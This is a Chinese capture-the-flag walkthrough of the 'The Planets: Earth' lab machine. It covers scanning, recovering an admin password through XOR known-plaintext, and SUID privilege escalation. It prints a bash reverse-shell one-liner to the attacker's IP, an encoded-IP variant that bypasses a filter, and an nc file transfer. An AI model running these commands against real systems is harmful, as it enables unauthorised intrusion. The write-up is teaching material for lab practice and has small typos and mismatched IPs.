0%

Vulhub靶机The Planets: Earth

Vulhub靶机The Planets: Earth

第一个渗透靶机,写详细一点

kali攻击机IP:192.168.16.128

信息搜集

首先登录进去,发现需要登录密码

img

由于靶机和攻击机是在同一网段,使用arp-scan -l命令即可

arp-scan -l命令用于执行本地局域网的ARP扫描,并列出扫描到的活动主机(设备)的IP地址和MAC地址。

1
2
3
4
5
6
7
ARP(Address Resolution Protocol)是一种用于在IPv4网络中将IP地址映射到物理MAC地址的协议。

在一个局域网(LAN)上,每个设备通常由唯一的MAC地址标识。而在进行网络通信时,使用的是IP地址。ARP协议充当了这两种地址之间的桥梁。

当设备需要将数据包发送到目标设备时,它首先会检查自己的ARP缓存表,看是否已经有目标设备的IP地址对应的MAC地址。如果没有,它会发送一个广播(ARP请求)来询问整个局域网中的其他设备,以获取目标设备的MAC地址。只有具有匹配IP地址的设备才会响应,将其自己的MAC地址告知请求设备(ARP应答)。一旦发送设备收到了目标设备的MAC地址,就可以将数据包发送到正确的物理地址上。

ARP是一个基础的网络协议,它使得在局域网上的设备能够互相通信。它的工作原理简单但有效,对于建立和维护局域网上设备之间的连接至关重要。

img

接着对目标主机进行端口扫描

1
nmap -A -p 1-65535 192.168.16.136
  • -A: 使用”全面扫描”选项,包括操作系统版本检测、服务版本检测、脚本扫描等。
  • -p 1-65535: 指定要扫描的端口范围。这里指定了从端口1到端口65535的全部端口范围。

img

可以看到有个433端口有个DNS解析,在本机hosts文件添加DNS解析,以能够访问

img

1
2
3
4
5
在Windows下,先在Windows写一个DNS解析

以管理员身份打开记事本,C:\Windows\System32\drivers\etc\hosts文件

添加192.168.16.136 terratest.earth.local即可

现在访问一下http://terratest.earth.local/

img

如果是访问IP地址的话会出现400错误,因为重定向问题:某些网站或应用程序可能会对IP地址进行重定向,将请求重定向到与域名相关的特定URL。如果您直接使用IP地址进行访问,可能会绕过这个重定向过程,导致400错误。

然后扫一下目录

1
dirb http://terratest.earth.local/

img

访问/admin路由

img

进去是一个登录页面

img

简单爆破一下,没啥用

再扫一下https://terratest.earth.local/

img

发现一个robots.txt

img

有个/testingnotes文件,但是后缀不知道,一个一个尝试,发现是.txt后缀,得到如下信息

1
2
3
4
5
6
7
8
9
Testing secure messaging system notes:
*Using XOR encryption as the algorithm, should be safe as used in RSA.
*Earth has confirmed they have received our sent messages.
*testdata.txt was used to test encryption.
*terra used as username for admin portal.
Todo:
*How do we send our monthly keys to Earth securely? Or should we change keys weekly?
*Need to test different key lengths to protect against bruteforce. How long should the key be?
*Need to improve the interface of the messaging interface and the admin panel, it's currently very basic.

翻译如下

1
2
3
4
5
6
7
8
9
10
测试安全消息系统备注:

使用异或(XOR)加密算法,应与RSA中使用的相同安全。
地球方已经确认收到了我们发送的消息。
使用 testdata.txt 文件进行加密测试。
terra 作为管理员门户的用户名。
待办事项:
我们应该如何安全地将每月的密钥发送给地球?或者我们应该每周更换密钥?
需要测试不同的密钥长度以防止暴力破解。密钥的长度应该是多少?
需要改进消息界面和管理员面板的界面,目前非常基础。

提到了testdata.txt文件,访问一下

1
According to radiometric dating estimation and other evidence, Earth formed over 4.5 billion years ago. Within the first billion years of Earth's history, life appeared in the oceans and began to affect Earth's atmosphere and surface, leading to the proliferation of anaerobic and, later, aerobic organisms. Some geological evidence indicates that life may have arisen as early as 4.1 billion years ago.

分析一下已有的信息

在该文件中发现了以下信息:

1、用户名信息:terra used as username for admin portal,用户名terra是超级管理员账户。

2、加密算法:Using XOR encryption as the algorithm, should be safe as used in RSA,加密算法XOR。

3、加密文本:testdata.txt was used to test encryption,测试数据在testdata.txt中。

xor算法:a^b=c,则c^b=a或c^a=b,所以我们就需要将发送得信息与密码本信息进行异或,得到原来发送得未加密得信息。

破解密钥

testdata.txt是明文,密文在最开始那个页面,所以我们可以利用这两个数据得到密钥

编写脚本

1
2
3
4
5
6
7
8
9
10
11
import binascii

entry_str = '2402111b1a0705070a41000a431a000a0e0a0f04104601164d050f070c0f15540d1018000000000c0c06410f0901420e105c0d074d04181a01041c170d4f4c2c0c13000d430e0e1c0a0006410b420d074d55404645031b18040a03074d181104111b410f000a4c41335d1c1d040f4e070d04521201111f1d4d031d090f010e00471c07001647481a0b412b1217151a531b4304001e151b171a4441020e030741054418100c130b1745081c541c0b0949020211040d1b410f090142030153091b4d150153040714110b174c2c0c13000d441b410f13080d12145c0d0708410f1d014101011a050d0a084d540906090507090242150b141c1d08411e010a0d1b120d110d1d040e1a450c0e410f090407130b5601164d00001749411e151c061e454d0011170c0a080d470a1006055a010600124053360e1f1148040906010e130c00090d4e02130b05015a0b104d0800170c0213000d104c1d050000450f01070b47080318445c090308410f010c12171a48021f49080006091a48001d47514c50445601190108011d451817151a104c080a0e5a'
pass_txt = "According to radiometric dating estimation and other evidence, Earth formed over 4.5 billion years ago. Within the first billion years of Earth's history, life appeared in the oceans and began to affect Earth's atmosphere and surface, leading to the proliferation of anaerobic and, later, aerobic organisms. Some geological evidence indicates that life may have arisen as early as 4.1 billion years ago."
#将pass_txt转换成16进制
pass_txt_16 = binascii.b2a_hex(pass_txt.encode(encoding="utf-8")).decode('utf-8').replace("b'",'')
#进行xor运算
result = hex(int(entry_str,16)^int(pass_txt_16,16)).replace('0x','')
#将运算结果转换成字符串
datatext = binascii.unhexlify(result).decode('utf-8')
print(datatext)

得到密钥:earthclimatechangebad4humans的重复输出

利用terra和earthclimatechangebad4humans登录

img

获取user_flag

可以直接执行命令

1
find / -name "*flag*"

从根目录开始寻找文件名包含flag的文件

发现一个/var/earth_web/user_flag.txt,cat一下即可得到user的flag

还需要password的flag,反弹shell吧

1
bash -i >& /dev/tcp/192.168.16.128/9999 0>&1

显示远程连接已经被禁止,使用16进制编码绕过

1
bash -i >& /dev/tcp/0xc0.0xa8.0x70.0x82/9999 0>&1

成功连接

img

提权

查找具有权限的命令

1
find / -perm -u=s -type f 2>/dev/null

该命令可以在文件系统中搜索具有设置了 Setuid 权限的可执行文件。具有 Setuid 权限的可执行文件,当普通用户执行时,可以获得与拥有者(通常是 root 用户)相同的权限。

命令:find / -perm -u=s -type f 2>/dev/null

解释:

  • find:用于搜索文件系统中符合条件的文件。
  • /:指定搜索路径为根目录,即从整个文件系统开始搜索。
  • -perm -u=s:表示要搜索的文件权限,这里的 -perm 表示按照权限进行匹配,-u 表示用户级别权限,s 表示 Setuid 权限。
  • -type f:表示只搜索普通文件。
  • 2>/dev/null:将标准错误输出重定向到 /dev/null,以避免显示不必要的错误信息。

获得以下结果:

img

发现有个/usr/bin/reset_root,感觉可以提权,查看一下:

1
strings /usr/bin/reset_root

strings 命令用于显示二进制文件中可打印的字符串。

其中这段代码值得注意一下:

img

使用管道操作符 | 将输出的用户名和密码传递给 /usr/sbin/chpasswd 命令来重置 root 的密码。具体来说,它将用户名设置为 “root”,密码设置为 “Earth”。

尝试直接运行一下

img

1
2
正在检查是否存在重置触发器... 
重置失败,所有的触发器都不存在。

不知道是哪里出问题了,尝试使用strace命令进行调试,但是靶机上并没有strace命令,使用nc传到本机上

靶机上的shell执行:

1
nc 192.168.112.130 1234 < /usr/bin/reset_root

本机执行:

1
nv -lvnp 1234 > reset_root

img

这样就把靶机的命令传入了本机

使用strace进行调试(记得给文件赋予可执行权限)

img

1
2
3
access("/dev/shm/kHgTFI5G", F_OK)       = -1 ENOENT (没有那个文件或目录)
access("/dev/shm/Zw7bV9U5", F_OK) = -1 ENOENT (没有那个文件或目录)
access("/tmp/kcM0Wewe", F_OK) = -1 ENOENT (没有那个文件或目录)

没有相关文件的原因,那么我们就在靶机上创建相关文件

img

然后执行相关命令即可获得root_flag

img

收工!